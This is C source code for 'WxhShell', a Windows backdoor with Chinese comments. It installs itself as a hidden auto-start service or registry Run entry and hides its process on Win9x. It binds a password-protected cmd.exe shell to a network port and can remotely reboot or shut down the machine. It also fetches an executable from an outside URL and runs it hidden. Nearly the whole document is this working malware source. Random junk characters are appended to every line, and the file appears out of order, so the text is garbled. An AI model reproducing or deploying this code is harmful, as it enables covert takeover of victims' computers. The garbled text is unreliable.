    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jw)Uk< \  
    if(Boot(SHUTDOWN)) t23uQR#>b_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D |kdk;Xv  
    else { EaaQC]/OX5  
    closesocket(wsh); `+[Ct08  
    ExitThread(0); Z1 %"w*U  
    } $' }rBPA/  
    break; -'r4@='6}  
    } :3J, t//c  
  // 获取shell @9lV~,,U  
  case 's': { 9AO`Zk{/Ez  
    CmdShell(wsh); ?zGx]?1P1<  
    closesocket(wsh); S<H 2e{~  
    ExitThread(0); jT>G8}h  
    break; vg[A/$gLM  
  } Zvz Zs  
  // 退出 e` 9d&"  
  case 'x': { 5gYv CW&~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hkB/ OJ  
    CloseIt(wsh); $5N%!  
    break; ],#Xa.r  
    } Y S/x;  
  // 离开 jD1/`g%  
  case 'q': { ;c p*]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'c7C*6;a  
    closesocket(wsh); f 1s3pr??  
    WSACleanup(); .}!"J`{ W  
    exit(1); Z" j #kaXA  
    break; p5`iq~e9  
        } LK\L}<;1V  
  } yuIy?K  
  } Cw6\'p%l-\  
B;x5os  
  // 提示信息 ybNo`:8 A;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yuo:hF\DH  
} E><$sN6  
  } {\zTE1X9  
3/_rbPr  
  return; pGz 5!d  
} C.qN Bl*  
'D_a2xo0  
// shell模块句柄 =r z7x  
int CmdShell(SOCKET sock) :%G_<VAo!  
{ o;#:%  
STARTUPINFO si; lTb4quf8I  
ZeroMemory(&si,sizeof(si)); dRj2% Q f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?='2@@8;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4z<nJOEh[  
PROCESS_INFORMATION ProcessInfo; j.=&qYc0"  
char cmdline[]="cmd"; 4JQd/;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0V;9v  
  return 0; XhEZTg;  
} Ckd j|  
\Lu aI  
// 自身启动模式 /LwS|c6}}  
int StartFromService(void) \f~m6j$D_  
{ `CpfQP&^  
typedef struct XZ%3PMq  
{ nA owFdCD  
  DWORD ExitStatus; 6g*?(Y][  
  DWORD PebBaseAddress; <pA%|]  
  DWORD AffinityMask; "&Q sv-9t  
  DWORD BasePriority; E8X(AZ 2  
  ULONG UniqueProcessId; D6+^Qmu"p  
  ULONG InheritedFromUniqueProcessId; X~UrAG}_  
}   PROCESS_BASIC_INFORMATION; 5&)T[Q X`  
B&fH FyK1n  
PROCNTQSIP NtQueryInformationProcess; HSwC4y}  
L%S(z)xX3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -gn!8G1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -S\gDB bb  
HxUJ 0Q  
  HANDLE             hProcess; ,9,cN-/a  
  PROCESS_BASIC_INFORMATION pbi; _2Zc?*4  
,GeW_!Q[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _oz1'}=  
  if(NULL == hInst ) return 0; d1jg3{pwA  
Z  FIy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )6 U6~!k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q@i>)nC R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zv .#9^/y  
DpCe_Vb%M  
  if (!NtQueryInformationProcess) return 0; F\u]X  
Z.}Z2K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "+XF'ZO  
  if(!hProcess) return 0; SfSWjq  
#,[z}fq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m@Hg:DY  
O0l1AX"  
  CloseHandle(hProcess); hy&WG&qf  
6;C2^J@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d9iVuw0u<  
if(hProcess==NULL) return 0; [n]C  
Six2{b)p  
HMODULE hMod; xs 1V?0  
char procName[255]; 8Y"R@'~  
unsigned long cbNeeded; E]w2 {%  
?_-5W9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sA~Ijg"6  
4 :phq  
  CloseHandle(hProcess); -M6#,Ji  
/+wCx#!  
if(strstr(procName,"services")) return 1; // 以服务启动 C>A} e6o  
a#D \8;  
  return 0; // 注册表启动 ?`= <*{_o  
} we0haK  
ke<l@w O  
// 主模块 y_``-F&Z  
int StartWxhshell(LPSTR lpCmdLine) @Os0A  
{ I*z|_}$  
  SOCKET wsl; $~e55X'!+  
BOOL val=TRUE; ? KDg|d  
  int port=0; `3eQ#,G!  
  struct sockaddr_in door; #.<Dq8u  
-G[TlH06  
  if(wscfg.ws_autoins) Install(); lT?Vt`==~M  
: ]JMsa6  
port=atoi(lpCmdLine); )Vz=:.D  
3qQ}U}-;|  
if(port<=0) port=wscfg.ws_port; _RNP_$a  
=qvn?I^/  
  WSADATA data; <S^Hy&MD>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ux8K$$$  
o)wOXF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1@t8i?:h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v4]#Nc$~T  
  door.sin_family = AF_INET; ),>whCtsI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /hur6yI8  
  door.sin_port = htons(port); }ssP%c]  
W K(GR\@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vL#I+_ 2  
closesocket(wsl); PYwGGB-  
return 1; 2Akh/pb  
} ,Yn$X  
>Qqxn*O  
  if(listen(wsl,2) == INVALID_SOCKET) { !'C8sNs  
closesocket(wsl); SB|Cr:wM  
return 1; #Vhr 1;j  
} Sim$:5P  
  Wxhshell(wsl); 8Ow#W5_3|  
  WSACleanup(); [F!h&M0z  
q>s`G  
return 0; >}bkX 6c5  
(&=3Y8  
} 4Wu(Tps  
DoNN;^H  
// 以NT服务方式启动 A4*D3\>%u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D;hJK-Y  
{ 6>3zD)tG  
DWORD   status = 0; e#vGrLs.  
  DWORD   specificError = 0xfffffff; }Ui)xi:8  
\maj5VlJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x6Tpt^N}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HqI[]T@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y=i_2R2e2  
  serviceStatus.dwWin32ExitCode     = 0; KGf@d*ZOMz  
  serviceStatus.dwServiceSpecificExitCode = 0; NxzAlu  
  serviceStatus.dwCheckPoint       = 0; ?Ld:HE  
  serviceStatus.dwWaitHint       = 0; >[N6_*K]  
tiy#b8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r3Kx  
  if (hServiceStatusHandle==0) return; /g1;`F(MS/  
~<}?pDA}~  
status = GetLastError(); L<G6)'5W  
  if (status!=NO_ERROR) i)/#u+Y1P  
{ (S?qxW?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; aI;fNy /K  
    serviceStatus.dwCheckPoint       = 0; t]{, 7.S  
    serviceStatus.dwWaitHint       = 0; |RBL5,t^  
    serviceStatus.dwWin32ExitCode     = status; a# Uk:O!  
    serviceStatus.dwServiceSpecificExitCode = specificError; C,8@V`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g2vt(Gf;  
    return; F ~e}=Nb  
  } *l@T 9L[M'  
Odm1;\=Eg+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rcf#8  
  serviceStatus.dwCheckPoint       = 0; VrKLEN\  
  serviceStatus.dwWaitHint       = 0; MH]?:]K9V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'X\C/8\  
} DB'3h7T  
1lsg|iVz  
// 处理NT服务事件,比如:启动、停止 x}f)P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _QtW)\)5 \  
{ o9v.]tb  
switch(fdwControl) w uhL r(  
{ >J,IxRGi  
case SERVICE_CONTROL_STOP: <899r \  
  serviceStatus.dwWin32ExitCode = 0; uZP( -}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /GA-1cS_(  
  serviceStatus.dwCheckPoint   = 0; 5r0Sl89J  
  serviceStatus.dwWaitHint     = 0; !MOcF5M  
  { Q@s G6 iz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {\ VmNnw  
  } /AIFgsaY  
  return; ; X/'ujg  
case SERVICE_CONTROL_PAUSE: :FixLr!q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m~@Lt~LZs  
  break; G&yF9s)Lvs  
case SERVICE_CONTROL_CONTINUE: B~3qEdoK5`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aSeh?2n8  
  break; HmV JkkksJ  
case SERVICE_CONTROL_INTERROGATE: s{fL~}Yz  
  break; @iVEnb.'  
}; ZO\bCrk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <2\Q Y  
} 2~)q080jh  
_2<k,Dl;RY  
// 标准应用程序主函数  P!/:yWd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UFE~6"t(  
{ I^QB`%v5  
%"3tGi:/  
// 获取操作系统版本 AVp"<Uv  
OsIsNt=GetOsVer(); ?o(Y\YJf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fM<g++X  
MENrP5AL  
  // 从命令行安装 zENo2#{_N  
  if(strpbrk(lpCmdLine,"iI")) Install(); /j:-GJb*!u  
XE|"n  
  // 下载执行文件 tTe:Oq  
if(wscfg.ws_downexe) { k")3R}mX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )1&,khd/u  
  WinExec(wscfg.ws_filenam,SW_HIDE); FFc?Av?_  
} z\<gm$1CB  
$t>ow~Xi  
if(!OsIsNt) { rzKn5Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,oj)`?Vh  
HideProc(); =1j`VJU9  
StartWxhshell(lpCmdLine); jE$]Z(Ab  
} -vS7%Fbr  
else 2J7JEv|  
  if(StartFromService()) &wB?ks  
  // 以服务方式启动 zh4m`}p  
  StartServiceCtrlDispatcher(DispatchTable); t<qXXQ&5  
else CHM+@lD  
  // 普通方式启动 GV SVNT}I  
  StartWxhshell(lpCmdLine); Y;8.(0r/  
`{\10j*B  
return 0; i'0ol^~y6  
} j"<F?k@`Q  
[u8JqX  
V[">SiOg  
1L.yh U\  
=========================================== -GL-&^3IjH  
f>+:UGmP  
oz?6$oE(bt  
zj'uKBDl  
;Z#DB$o\  
cK2Us+h  
" @xAfD{}f!  
g8;JpPw  
#include <stdio.h> tP/R9Ezp  
#include <string.h> ^ `Y1   
#include <windows.h> gx6$:j;   
#include <winsock2.h> ZSW`/}Dp;  
#include <winsvc.h> f@J-6uQ7w  
#include <urlmon.h> C9 cQ} j:  
96CC5  
#pragma comment (lib, "Ws2_32.lib") Fy]j33E  
#pragma comment (lib, "urlmon.lib") 4Yl:1rz  
AlT04H   
#define MAX_USER   100 // 最大客户端连接数 rxAb]~MMp  
#define BUF_SOCK   200 // sock buffer n5 jzVv  
#define KEY_BUFF   255 // 输入 buffer y :8Oc?  
z,=k F I  
#define REBOOT     0   // 重启 .JL?RH2@8  
#define SHUTDOWN   1   // 关机 RLbxNn  
$.r:  
#define DEF_PORT   5000 // 监听端口 .cm$*>LW:x  
#3Jn_Y%P.  
#define REG_LEN     16   // 注册表键长度 4O3-PU>N  
#define SVC_LEN     80   // NT服务名长度 gR) )K)  
6\?< :Qto  
// 从dll定义API Kg;1%J>ee  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *.Ceb%W7C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6}e"$Ee}9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S%m$LM]NCg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eI*o9k$Qs  
~@bh[o~rF  
// wxhshell配置信息 Zae$M0)  
struct WSCFG { HWT^u$a"  
  int ws_port;         // 监听端口 v/WvT!6V`  
  char ws_passstr[REG_LEN]; // 口令 Gd%E337d  
  int ws_autoins;       // 安装标记, 1=yes 0=no nc.X+dx:  
  char ws_regname[REG_LEN]; // 注册表键名 *f$wmZ5A  
  char ws_svcname[REG_LEN]; // 服务名 WT>2eMK[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RgT|^|ZA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )]5}d$83  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }W k!):=y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q#rj>+?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4>W ov  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eo&nAr  
5m&Zq_Qe  
}; S&YC"  
<; Bv6.Z  
// default Wxhshell configuration  ,L}  
struct WSCFG wscfg={DEF_PORT, pe$l'ur  
    "xuhuanlingzhe", |\MgE.N  
    1, m dTCe HX  
    "Wxhshell", vMV}M%~  
    "Wxhshell", 2bk~6Osp  
            "WxhShell Service", /^<Uy3F[p  
    "Wrsky Windows CmdShell Service", s!j[Ovtx  
    "Please Input Your Password: ", $.2#G"|  
  1, %^$7z,>;  
  "http://www.wrsky.com/wxhshell.exe", %0!!998  
  "Wxhshell.exe" td#B$$[  
    }; ? @Y'_f  
<wZ2S3RNA  
// 消息定义模块 N3J;_=<4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |B;tv#mKD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B#T4m]E/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8vLaSZ="[  
char *msg_ws_ext="\n\rExit."; Yq?FiE0  
char *msg_ws_end="\n\rQuit."; VgO:`bDF  
char *msg_ws_boot="\n\rReboot..."; @H^Yf  
char *msg_ws_poff="\n\rShutdown..."; +bw>9VmG  
char *msg_ws_down="\n\rSave to "; LJ Aqk2k  
D-tm'APq  
char *msg_ws_err="\n\rErr!"; r#%z1u  
char *msg_ws_ok="\n\rOK!"; Xo:!U=m/#  
0qj:v"~Q  
char ExeFile[MAX_PATH]; #r}O =izi  
int nUser = 0; _3YuPMaN  
HANDLE handles[MAX_USER]; M3U*'A\  
int OsIsNt; zFqlTUD`t  
VNcxST15a  
SERVICE_STATUS       serviceStatus; wjm_bEi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AD=vYDR+  
N1 }#6YNw  
// 函数声明 ;5bzXW#U  
int Install(void); $ &Ntdn  
int Uninstall(void); fvDt_g9oI  
int DownloadFile(char *sURL, SOCKET wsh); Hq*\,`b&  
int Boot(int flag); Xv%1W? >@/  
void HideProc(void); uoM;p'  
int GetOsVer(void); .MzVc42<  
int Wxhshell(SOCKET wsl); YnzhvE  
void TalkWithClient(void *cs); 1sqBBd"=PY  
int CmdShell(SOCKET sock); j[Y$)HF  
int StartFromService(void); WDC+Jmlgp  
int StartWxhshell(LPSTR lpCmdLine); 4iD-jM_D  
N:]71+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Wz~=JvRHh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s?8vs%(l  
.I"Qu:``  
// 数据结构和表定义 0'IV"eH2  
SERVICE_TABLE_ENTRY DispatchTable[] = (|EnRk-E  
{ ]{Ytf'bG  
{wscfg.ws_svcname, NTServiceMain}, 4Y)rgLFj  
{NULL, NULL} *,:>EcDr  
}; q*|H*sS  
Sd !!1a s  
// 自我安装 #JFTD[1  
int Install(void) 3$u 3ssOL  
{ n\v;4ly^  
  char svExeFile[MAX_PATH]; E*!  
  HKEY key; p=7{  
  strcpy(svExeFile,ExeFile); QU]& q`GE  
fZqqU|tq  
// 如果是win9x系统,修改注册表设为自启动 !y&uK&1  
if(!OsIsNt) { &o$z[ b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rff=ud>Jf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >VQP,J{  
  RegCloseKey(key); Kyz!YB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #E?TE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e'FBV[e  
  RegCloseKey(key); "B~c/%#PH  
  return 0; '@$YX*[  
    } OR&'  
  } G,#]`W@qhK  
} <QlpIgr  
else { }9k/Y/.  
4&}V3"lg  
// 如果是NT以上系统,安装为系统服务 b'!t\m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OlW|qj  
if (schSCManager!=0) ''{REFjK7  
{ vr,8i7*0  
  SC_HANDLE schService = CreateService `OL@@`'^{S  
  ( Xu4C*]A>  
  schSCManager, g>m)|o'  
  wscfg.ws_svcname, _6b?3[Xz  
  wscfg.ws_svcdisp, i'w8Li  
  SERVICE_ALL_ACCESS, .^aakM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MM}lW-q;  
  SERVICE_AUTO_START, *&f^R}O  
  SERVICE_ERROR_NORMAL,  kYls jM  
  svExeFile, 0pO{{F  
  NULL, T<hS  
  NULL, s$cr|p;7#  
  NULL, 'MM%Sm,  
  NULL, 81gcM?  
  NULL Mbj{C  
  ); q#{.8H-X'  
  if (schService!=0) vD=>AAvG  
  { mv5=>Xc6  
  CloseServiceHandle(schService); +VJS/  
  CloseServiceHandle(schSCManager); laR cEXj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #Tz$ona  
  strcat(svExeFile,wscfg.ws_svcname); a.n;ika]-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FeW}tKH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @%(Vi!Cv"R  
  RegCloseKey(key); n{d0}N =  
  return 0; E [:eMJR  
    } zTgY=fuz  
  } j20/Q)=h  
  CloseServiceHandle(schSCManager); Lro[ |A  
} +-DF3(  
} OcA_m.  
|WiE`&?xP  
return 1; hA6   
} iKJ-$x_5  
kLsp0% 2  
// 自我卸载 1V\tKDM  
int Uninstall(void) )\S3Q  
{ o!]muO*Rm  
  HKEY key; Jy#c 6  
dRdI('  
if(!OsIsNt) { bW]7$?acv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HE;}B!>  
  RegDeleteValue(key,wscfg.ws_regname); iyA=d{S;V  
  RegCloseKey(key); wbIgZ]o!/;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L}~"R/iWCT  
  RegDeleteValue(key,wscfg.ws_regname); $?_/`S13  
  RegCloseKey(key); rr@h9bak;g  
  return 0; @U8}K#  
  } I7@|{L1|FB  
} jR1o<]?  
} J0ys Z]  
else { lOp7rW]$  
Oe)d|6=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~.Wlv;  
if (schSCManager!=0) jmp0 %:+L  
{ j*.K|77WHj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O'm5k l  
  if (schService!=0) )j/2Z-Ev:W  
  { :w!A_~ w2  
  if(DeleteService(schService)!=0) { _>8rTk`/h  
  CloseServiceHandle(schService); _#UiY ffa*  
  CloseServiceHandle(schSCManager); 9QQiIi$74U  
  return 0; L;7u0Yg  
  } Wc*jTip  
  CloseServiceHandle(schService); V-{3)6I$hG  
  } R ]h3a :ic  
  CloseServiceHandle(schSCManager); t@&U2JaL>W  
} / 5!0wxN  
} ag_*Z\  
.+07 Ui]I!  
return 1; z4qc)- {L  
} URd0|?t9^L  
H;h$k]T  
// 从指定url下载文件 <2n5|.:>  
int DownloadFile(char *sURL, SOCKET wsh) vGCvJ*4!  
{ 2;wp D2  
  HRESULT hr; >1}@Q(n/}{  
char seps[]= "/"; o2 ;  
char *token; 9-W3}4'e  
char *file; R_4eME2LB  
char myURL[MAX_PATH]; 0.aIcc  
char myFILE[MAX_PATH]; ]\C wa9  
Sl;[9l2  
strcpy(myURL,sURL); 2 rFjYx8D!  
  token=strtok(myURL,seps); dwpE(G y6c  
  while(token!=NULL) RoFOjCc>D.  
  { tEN8S]X  
    file=token; 0!Vza?9  
  token=strtok(NULL,seps); `<Q[$z  
  } ~n"?*I`  
UkTq0-N;2  
GetCurrentDirectory(MAX_PATH,myFILE); Ke;eI+P[  
strcat(myFILE, "\\"); @!Z1*a.  
strcat(myFILE, file); H|IG"JB  
  send(wsh,myFILE,strlen(myFILE),0); }Q?a6(4  
send(wsh,"...",3,0); K1+4W=|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )ZW[$:wA  
  if(hr==S_OK) \ xJ_ )r  
return 0; j* ZU}Ss  
else ;*G';VuT  
return 1; ;/h&40&  
&RHZ7T  
} mDXG~*1   
j S4\;  
// 系统电源模块 /V {1Zw=  
int Boot(int flag) bess b>=  
{ &7XsyDo6  
  HANDLE hToken; Ei7Oi!1  
  TOKEN_PRIVILEGES tkp; +8|9&v`  
Ox5Es  
  if(OsIsNt) { |@1M'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TE5J @I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tb^/jzC  
    tkp.PrivilegeCount = 1; !(F?Np Am  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rJT YCe1*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `-!kqJ  
if(flag==REBOOT) { GBl[s,g[|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3xz|d`A  
  return 0; ~>#?.f  
} nWes,K6T  
else { iYf)FPET  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8og8;#mnyr  
  return 0; fm^J-  
} B'e@RhU;  
  } 9sN#l  
  else { ;:,U]@  
if(flag==REBOOT) { bt};Pn{3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SsEpuEn  
  return 0; ICEyz| C  
} D$AvD7_  
else { 1u8hnG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4?fpk9c{2  
  return 0; O I0N(V  
} 'T|EwrS j  
} !Ln 'Mi_B  
zM(-f|wVI)  
return 1; 8OMMV,QF  
} AQ?;UDqU  
nMJ( tQ  
// win9x进程隐藏模块 f5Hv![x  
void HideProc(void) >"+ ho  
{ 5\EnD, y  
R,s}<N$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r1Hh @sxn  
  if ( hKernel != NULL ) 4TTrHs  
  { +c8t~2tuN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P }^Y"zF2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4H^ACw  
    FreeLibrary(hKernel); gt9(5p  
  } #+N_wIP4  
qj/Zk [  
return; WH"'Ju5}  
} BCuoFw)  
"L;@qCfhO  
// 获取操作系统版本 %^d<go^  
int GetOsVer(void) =CW> ;h]  
{ (< >Lfn  
  OSVERSIONINFO winfo; jz~#K;3=,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ORM3o ucP  
  GetVersionEx(&winfo); ~"_!O+Pj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A0Q`Aqs  
  return 1; Vh1y]#w  
  else nLOK1@,4  
  return 0; L/E7xLz  
} gj iFpW4  
ACy}w?D<  
// 客户端句柄模块 j sD]v)LB  
int Wxhshell(SOCKET wsl) C=(Q0-+L|  
{ w?zy/+N~  
  SOCKET wsh; p>i8aN  
  struct sockaddr_in client; KLW>O_+   
  DWORD myID; +_kA&Q(t  
6"o=`Sq  
  while(nUser<MAX_USER) c&P/v#U_  
{ Qv`: E   
  int nSize=sizeof(client); S?6 -I,]h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2 6DX4  
  if(wsh==INVALID_SOCKET) return 1; Hj(K*z  
;5.<M<PH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?PS?_+E\L  
if(handles[nUser]==0) LEOri=?RF  
  closesocket(wsh); T*gG <8  
else `K:n=hpF  
  nUser++; eEfGH  
  } _BY+Tfol  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  4Y}Nu  
z]SEPYq:  
  return 0; *>"NUHq  
} F:d2;  
zy%0;%  
// 关闭 socket Trs2M+r)  
void CloseIt(SOCKET wsh) {* :^K\-  
{ d"IZt;s/,  
closesocket(wsh); Phk3Jv  
nUser--; 2 S~(P  
ExitThread(0); 2@lGY_O!m  
} !*L)v  
by0K:*C  
// 客户端请求句柄 x`FTy&g  
void TalkWithClient(void *cs) + kT ]qH  
{ pdR\Ne0P*  
@87Y/_l  
  SOCKET wsh=(SOCKET)cs; W!R0:-  
  char pwd[SVC_LEN]; :<bhQY  
  char cmd[KEY_BUFF]; |O6/p7+.  
char chr[1]; KO7&dM  
int i,j; N*hV/"joZ  
7G^Q2w  
  while (nUser < MAX_USER) { *r[V[9+y-D  
y2#"\5dC  
if(wscfg.ws_passstr) { 0;@>jo6,!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d/jP2uu A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `A%WCd60Tc  
  //ZeroMemory(pwd,KEY_BUFF); tc/  
      i=0; =Gu&0f  
  while(i<SVC_LEN) { c_S~{a44Ud  
#;~HoOK*#  
  // 设置超时 dt@c,McN|Q  
  fd_set FdRead; zCQP9oK!  
  struct timeval TimeOut; @8>bp#x/1  
  FD_ZERO(&FdRead); _k26(rdI@-  
  FD_SET(wsh,&FdRead); .D ^~!A  
  TimeOut.tv_sec=8; =R' O5J  
  TimeOut.tv_usec=0; n42\ty9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _tX=xAO9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y2XxfZ j  
AEaN7[PQx|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |nWEuKHy  
  pwd=chr[0]; ?T_MP"  
  if(chr[0]==0xd || chr[0]==0xa) { g)^s+Y  
  pwd=0; De^:9<{jc  
  break; \/<VJB uV  
  } 7I'C'.6iM  
  i++; ~  z3J4s  
    } >W8"Ar  
1P[x.t#  
  // 如果是非法用户,关闭 socket 8U(o@1PT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >V?0#f45@  
} h'};spv  
B~ i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]vB\yQE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +a^gC  
y]+5Y.Cw$  
while(1) { k9OGnCW\  
"FA. T7G  
  ZeroMemory(cmd,KEY_BUFF); 7@>/O)>(AS  
]b; m~|9  
      // 自动支持客户端 telnet标准   G 3,v'D5  
  j=0; #"KC29!Yj  
  while(j<KEY_BUFF) { !hZ: \&V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \Z3K ~  
  cmd[j]=chr[0]; 5N $XY@  
  if(chr[0]==0xa || chr[0]==0xd) { hXth\e\[{`  
  cmd[j]=0; 0&|0l>wy.  
  break; pXl[I;  
  } &l7E|.JE  
  j++; 0y,w\'j  
    } 5 | ,b  
3k9n*jY0  
  // 下载文件 L55 UeP\  
  if(strstr(cmd,"http://")) { rkR5>S( 2M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D0xQXC3$`  
  if(DownloadFile(cmd,wsh)) qjhV/fsfb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lu.+J]Rz  
